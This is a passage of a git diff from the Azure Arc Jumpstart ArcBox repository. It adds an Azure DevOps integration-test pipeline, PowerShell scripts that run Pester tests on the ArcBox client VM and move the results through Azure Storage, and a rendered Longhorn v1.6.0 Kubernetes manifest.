Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: AzurePowerShell@5 + displayName: 'Download Pester test-results from storage account to pipeline agent' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: PublishTestResults@2 + displayName: 'Publish Test Results' + inputs: + testResultsFormat: NUnit + testResultsFiles: '$(System.DefaultWorkingDirectory)/testresults/*.xml' + +- stage: destroy + displayName: 'ArcBox_teardown' + #condition: succeeded('deploy') + jobs: + - deployment: + displayName: "Get approval" + environment: 'teardown_approval' + - job: Delete + steps: + - task: AzurePowerShell@5 + displayName: 'Delete resource group' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deleting resource group $(ResourceGroupName)" + Remove-AzResourceGroup -Name $(ResourceGroupName) -Force \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 new file mode 100644 index 0000000000..50940255ac --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 @@ -0,0 +1,27 @@ +param( + [Parameter(Mandatory=$true)] + [string]$ResourceGroupName +) + +Write-Host "Getting Pester test-result files from storage account in resource group $ResourceGroupName" + +$path = $ENV:SYSTEM_DEFAULTWORKINGDIRECTORY + "/testresults" +$null = New-Item -ItemType Directory -Force -Path $path + +$StorageAccount = Get-AzStorageAccount -ResourceGroupName $ResourceGroupName +$ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount +$blobs = Get-AzStorageBlob -Container "testresults" -Context $ctx + +foreach ($blob in $blobs) { + + $destinationblobname = ($blob.Name).Split("/")[-1] + $destinationpath = "$path/$($destinationblobname)" + + try { + Get-AzStorageBlobContent -Container "testresults" -Blob $blob.Name -Destination $destinationpath -Context $ctx -ErrorAction Stop + } + catch { + Write-Error -Message "Failed to download blob $blob.Name" + } + +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 new file mode 100644 index 0000000000..86070e30c3 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -0,0 +1,196 @@ +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" + +Start-Transcript -Path "$Env:ArcBoxLogsDir\Get-PesterResult_$($PID).log" -Force + +Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.exe) at $(Get-Date)" + +$timeout = New-TimeSpan -Minutes 180 +$endTime = (Get-Date).Add($timeout) + + +switch ($env:flavor) { + 'DevOps' { + $logFilePath = "$Env:ArcBoxLogsDir\DevOpsLogonScript.log" +} + 'DataOps' { + $logFilePath = "$Env:ArcBoxLogsDir\DataOpsLogonScript.log" + } + 'ITPro' { + $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" + } + 'default' { + throw "Unknown flavor $env:flavor" + } +} + +Write-Output "Adding Storage Blob Data Contributor role assignment to SPN $env:spnClientId for allowing upload of Pester test results to Azure Storage" + +$spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force +$spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + +$null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:tenantId -Subscription $env:subscriptionId -Scope Process + +Write-Output "Wait for Azure CLI to become available (installed by WinGet)" + +# Starting time +$startTime = Get-Date + +# Duration to wait (60 minutes) +$duration = New-TimeSpan -Minutes 60 + +do { + # Check if the path exists + $exists = Test-Path "C:\Program Files\Microsoft SDKs\Azure\CLI2\wbin\az.cmd" + + # Break if the path exists + if ($exists) { + Write-Host "File found." + break + } + + # Wait for a short period before rechecking to avoid constant CPU usage + Start-Sleep -Seconds 30 + +} while ((Get-Date) -lt $startTime.Add($duration)) + +if (-not $exists) { + Write-Host "File not found within the 60-minute time frame." +} + +# Get the current path +$currentPath = $env:Path + +# Path to be added +$newPath = "C:\Program Files\Microsoft SDKs\Azure\CLI2\wbin" + +# Add the new path to the current session's Path environment variable +$env:Path = $currentPath + ";" + $newPath + +Write-Output "Az CLI Login" +az login --service-principal --username $env:spnClientId --password=$env:spnClientSecret --tenant $env:tenantId +az account set -s $env:subscriptionId + +$ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output json | ConvertFrom-Json + +$StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup + +if (Get-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id) { + + Write-Output "Role assignment already exists" + +} else { + + Write-Output "Role assignment does not yet exist" + $null = New-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id + + Write-Output "Wait for eventual consistency after RBAC assignment" + Start-Sleep 120 + +} + +Write-Output "Waiting for PowerShell transcript end in $logFilePath" + +do { + + if (Test-Path $logFilePath) { + Write-Output "Log file $logFilePath exists" + + $content = Get-Content -Path $logFilePath -Tail 5 + if ($content -like "*PowerShell transcript end*") { + Write-Output "PowerShell transcript end detected in $logFilePath at $(Get-Date)" + break + } else { + Write-Output "PowerShell transcript end not detected in $logFilePath at $(Get-Date) - waiting 60 seconds" + } + } else { + Write-Output "Log file $logFilePath does not yet exist - waiting 60 seconds" + } + if ((Get-Date) -ge $endTime) { + throw "Timeout reached. PowerShell transcript end not found." + } + Start-Sleep -Seconds 60 +} while ((Get-Date) -lt $endTime) + + +$ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount + +New-AzStorageContainer -Name testresults -Context $ctx -Permission Off + + +Write-Output "Running Pester tests" + +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" + +Import-Module -Name Pester -Force + +$config = [PesterConfiguration]::Default +$config.TestResult.Enabled = $true +$config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\common.tests.xml" +$config.Output.CIFormat = "AzureDevops" +$config.Run.Path = "$Env:ArcBoxTestsDir\common.tests.ps1" +Invoke-Pester -Configuration $config + +switch ($env:flavor) { + 'DevOps' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\devops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\devops.tests.ps1" + Invoke-Pester -Configuration $config +} + 'DataOps' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\dataops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\dataops.tests.ps1" + Invoke-Pester -Configuration $config + } + 'ITPro' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\itpro.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\itpro.tests.ps1" + Invoke-Pester -Configuration $config +} + 'Full' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\devops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\devops.tests.ps1" + Invoke-Pester -Configuration $config + + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\dataops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\dataops.tests.ps1" + Invoke-Pester -Configuration $config + + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\itpro.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\itpro.tests.ps1" + Invoke-Pester -Configuration $config + } +} + +Write-Output "Uploading file to Azure Storage" + +Get-ChildItem $Env:ArcBoxLogsDir -Filter *.xml | ForEach-Object { + $blobname = "$($_.Name)" + Write-Output "Uploading file $($_.Name) to blob $blobname" + Set-AzStorageBlobContent -File $_.FullName -Container testresults -Blob $blobname -Context $ctx +} + +Write-Output "Get-PesterResult.ps1 finished at $(Get-Date)" + +Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 new file mode 100644 index 0000000000..17c26e5082 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 @@ -0,0 +1,25 @@ +param( + [Parameter(Mandatory=$true)] + [string]$ResourceGroupName, + [Parameter(Mandatory=$true)] + [string]$githubAccount, + [Parameter(Mandatory=$true)] + [string]$githubBranch +) + +Write-Host "Starting VM Run Command to wait for deployment and retrieve Pester test results from ArcBox-Client in resource group $ResourceGroupName" + +$Location = (Get-AzVM -ResourceGroupName $ResourceGroupName).Location +Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://raw.githubusercontent.com/$githubAccount/azure_arc/$githubBranch/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1" -AsyncExecution + +do { + $job = Get-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Expand InstanceView + + Write-Host "Instance view of job:" -ForegroundColor Green + $job.InstanceView + Start-Sleep -Seconds 60 + +} while ($job.InstanceView.ExecutionState -eq "Running") + +Write-Host "Job completed" -ForegroundColor Green +$job \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/longhorn.yaml b/azure_jumpstart_arcbox/artifacts/longhorn.yaml new file mode 100644 index 0000000000..b03ab89440 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/longhorn.yaml @@ -0,0 +1,4571 @@ +--- +# Builtin: "helm template" does not respect --create-namespace +apiVersion: v1 +kind: Namespace +metadata: + name: longhorn-system +--- +# Source: longhorn/templates/priorityclass.yaml +apiVersion: scheduling.k8s.io/v1 +kind: PriorityClass +metadata: + name: "longhorn-critical" + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +description: "Ensure Longhorn pods have the highest priority to prevent any unexpected eviction by the Kubernetes scheduler under node pressure" +globalDefault: false +preemptionPolicy: PreemptLowerPriority +value: 1000000000 +--- +# Source: longhorn/templates/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: longhorn-service-account + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +--- +# Source: longhorn/templates/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: longhorn-ui-service-account + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +--- +# Source: longhorn/templates/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: longhorn-support-bundle + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +--- +# Source: longhorn/templates/default-setting.yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: longhorn-default-setting + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +data: + default-setting.yaml: |- + priority-class: longhorn-critical +--- +# Source: longhorn/templates/storageclass.yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: longhorn-storageclass + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +data: + storageclass.yaml: | + kind: StorageClass + apiVersion: storage.k8s.io/v1 + metadata: + name: longhorn + annotations: + storageclass.kubernetes.io/is-default-class: "true" + provisioner: driver.longhorn.io + allowVolumeExpansion: true + reclaimPolicy: "Delete" + volumeBindingMode: Immediate + parameters: + numberOfReplicas: "1" + staleReplicaTimeout: "30" + fromBackup: "" + fsType: "ext4" + dataLocality: "disabled" +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backingimagedatasources.longhorn.io +spec: + group: longhorn.io + names: + kind: BackingImageDataSource + listKind: BackingImageDataSourceList + plural: backingimagedatasources + shortNames: + - lhbids + singular: backingimagedatasource + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the pod used to provision the backing image file from source + jsonPath: .status.currentState + name: State + type: string + - description: The data source type + jsonPath: .spec.sourceType + name: SourceType + type: string + - description: The node the backing image file will be prepared on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the backing image file will be prepared on + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: BackingImageDataSource is where Longhorn stores backing image data source object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The system generated UUID of the provisioned backing image file + jsonPath: .spec.uuid + name: UUID + type: string + - description: The current state of the pod used to provision the backing image file from source + jsonPath: .status.currentState + name: State + type: string + - description: The data source type + jsonPath: .spec.sourceType + name: SourceType + type: string + - description: The backing image file size + jsonPath: .status.size + name: Size + type: string + - description: The node the backing image file will be prepared on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the backing image file will be prepared on + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: BackingImageDataSource is where Longhorn stores backing image data source object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackingImageDataSourceSpec defines the desired state of the Longhorn backing image data source + properties: + checksum: + type: string + diskPath: + type: string + diskUUID: + type: string + fileTransferred: + type: boolean + nodeID: + type: string + parameters: + additionalProperties: + type: string + type: object + sourceType: + enum: + - download + - upload + - export-from-volume + - restore + type: string + uuid: + type: string + type: object + status: + description: BackingImageDataSourceStatus defines the observed state of the Longhorn backing image data source + properties: + checksum: + type: string + currentState: + type: string + ip: + type: string + message: + type: string + ownerID: + type: string + progress: + type: integer + runningParameters: + additionalProperties: + type: string + nullable: true + type: object + size: + format: int64 + type: integer + storageIP: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backingimagemanagers.longhorn.io +spec: + group: longhorn.io + names: + kind: BackingImageManager + listKind: BackingImageManagerList + plural: backingimagemanagers + shortNames: + - lhbim + singular: backingimagemanager + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the manager + jsonPath: .status.currentState + name: State + type: string + - description: The image the manager pod will use + jsonPath: .spec.image + name: Image + type: string + - description: The node the manager is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the manager is responsible for + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - description: The disk path the manager is using + jsonPath: .spec.diskPath + name: DiskPath + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: BackingImageManager is where Longhorn stores backing image manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The current state of the manager + jsonPath: .status.currentState + name: State + type: string + - description: The image the manager pod will use + jsonPath: .spec.image + name: Image + type: string + - description: The node the manager is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the manager is responsible for + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - description: The disk path the manager is using + jsonPath: .spec.diskPath + name: DiskPath + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: BackingImageManager is where Longhorn stores backing image manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackingImageManagerSpec defines the desired state of the Longhorn backing image manager + properties: + backingImages: + additionalProperties: + type: string + type: object + diskPath: + type: string + diskUUID: + type: string + image: + type: string + nodeID: + type: string + type: object + status: + description: BackingImageManagerStatus defines the observed state of the Longhorn backing image manager + properties: + apiMinVersion: + type: integer + apiVersion: + type: integer + backingImageFileMap: + additionalProperties: + properties: + currentChecksum: + type: string + message: + type: string + name: + type: string + progress: + type: integer + senderManagerAddress: + type: string + sendingReference: + type: integer + size: + format: int64 + type: integer + state: + type: string + uuid: + type: string + type: object + nullable: true + type: object + currentState: + type: string + ip: + type: string + ownerID: + type: string + storageIP: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backingimages.longhorn.io +spec: + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: BackingImage + listKind: BackingImageList + plural: backingimages + shortNames: + - lhbi + singular: backingimage + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backing image name + jsonPath: .spec.image + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: BackingImage is where Longhorn stores backing image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The system generated UUID + jsonPath: .status.uuid + name: UUID + type: string + - description: The source of the backing image file data + jsonPath: .spec.sourceType + name: SourceType + type: string + - description: The backing image file size in each disk + jsonPath: .status.size + name: Size + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: BackingImage is where Longhorn stores backing image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackingImageSpec defines the desired state of the Longhorn backing image + properties: + checksum: + type: string + disks: + additionalProperties: + type: string + type: object + sourceParameters: + additionalProperties: + type: string + type: object + sourceType: + enum: + - download + - upload + - export-from-volume + - restore + type: string + type: object + status: + description: BackingImageStatus defines the observed state of the Longhorn backing image status + properties: + checksum: + type: string + diskFileStatusMap: + additionalProperties: + properties: + lastStateTransitionTime: + type: string + message: + type: string + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + diskLastRefAtMap: + additionalProperties: + type: string + nullable: true + type: object + ownerID: + type: string + size: + format: int64 + type: integer + uuid: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + longhorn-manager: "" + name: backupbackingimages.longhorn.io +spec: + group: longhorn.io + names: + kind: BackupBackingImage + listKind: BackupBackingImageList + plural: backupbackingimages + shortNames: + - lhbbi + singular: backupbackingimage + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backing image name + jsonPath: .status.backingImage + name: BackingImage + type: string + - description: The backing image size + jsonPath: .status.size + name: Size + type: string + - description: The backing image backup upload finished time + jsonPath: .status.backupCreatedAt + name: BackupCreatedAt + type: string + - description: The backing image backup state + jsonPath: .status.state + name: State + type: string + - description: The last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: BackupBackingImage is where Longhorn stores backing image backup object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupBackingImageSpec defines the desired state of the Longhorn backing image backup + properties: + labels: + additionalProperties: + type: string + description: The labels of backing image backup. + type: object + syncRequestedAt: + description: The time to request run sync the remote backing image backup. + format: date-time + nullable: true + type: string + userCreated: + description: Is this CR created by user through API or UI. Required + type: boolean + required: + - userCreated + type: object + status: + description: BackupBackingImageStatus defines the observed state of the Longhorn backing image backup + properties: + backingImage: + description: The backing image name. + type: string + backupCreatedAt: + description: The backing image backup upload finished time. + type: string + checksum: + description: The checksum of the backing image. + type: string + compressionMethod: + description: Compression method + type: string + error: + description: The error message when taking the backing image backup. + type: string + labels: + additionalProperties: + type: string + description: The labels of backing image backup. + nullable: true + type: object + lastSyncedAt: + description: The last time that the backing image backup was synced with the remote backup target. + format: date-time + nullable: true + type: string + managerAddress: + description: The address of the backing image manager that runs backing image backup. + type: string + messages: + additionalProperties: + type: string + description: The error messages when listing or inspecting backing image backup. + nullable: true + type: object + ownerID: + description: The node ID on which the controller is responsible to reconcile this CR. + type: string + progress: + description: The backing image backup progress. + type: integer + size: + description: The backing image size. + format: int64 + type: integer + state: + description: The backing image backup creation state. Can be "", "InProgress", "Completed", "Error", "Unknown". + type: string + url: + description: The backing image backup URL. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backups.longhorn.io +spec: + group: longhorn.io + names: + kind: Backup + listKind: BackupList + plural: backups + shortNames: + - lhb + singular: backup + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The snapshot name + jsonPath: .status.snapshotName + name: SnapshotName + type: string + - description: The snapshot size + jsonPath: .status.size + name: SnapshotSize + type: string + - description: The snapshot creation time + jsonPath: .status.snapshotCreatedAt + name: SnapshotCreatedAt + type: string + - description: The backup state + jsonPath: .status.state + name: State + type: string + - description: The backup last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: Backup is where Longhorn stores backup object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The snapshot name + jsonPath: .status.snapshotName + name: SnapshotName + type: string + - description: The snapshot size + jsonPath: .status.size + name: SnapshotSize + type: string + - description: The snapshot creation time + jsonPath: .status.snapshotCreatedAt + name: SnapshotCreatedAt + type: string + - description: The backup state + jsonPath: .status.state + name: State + type: string + - description: The backup last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: Backup is where Longhorn stores backup object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupSpec defines the desired state of the Longhorn backup + properties: + labels: + additionalProperties: + type: string + description: The labels of snapshot backup. + type: object + snapshotName: + description: The snapshot name. + type: string + syncRequestedAt: + description: The time to request run sync the remote backup. + format: date-time + nullable: true + type: string + type: object + status: + description: BackupStatus defines the observed state of the Longhorn backup + properties: + backupCreatedAt: + description: The snapshot backup upload finished time. + type: string + compressionMethod: + description: Compression method + type: string + error: + description: The error message when taking the snapshot backup. + type: string + labels: + additionalProperties: + type: string + description: The labels of snapshot backup. + nullable: true + type: object + lastSyncedAt: + description: The last time that the backup was synced with the remote backup target. + format: date-time + nullable: true + type: string + messages: + additionalProperties: + type: string + description: The error 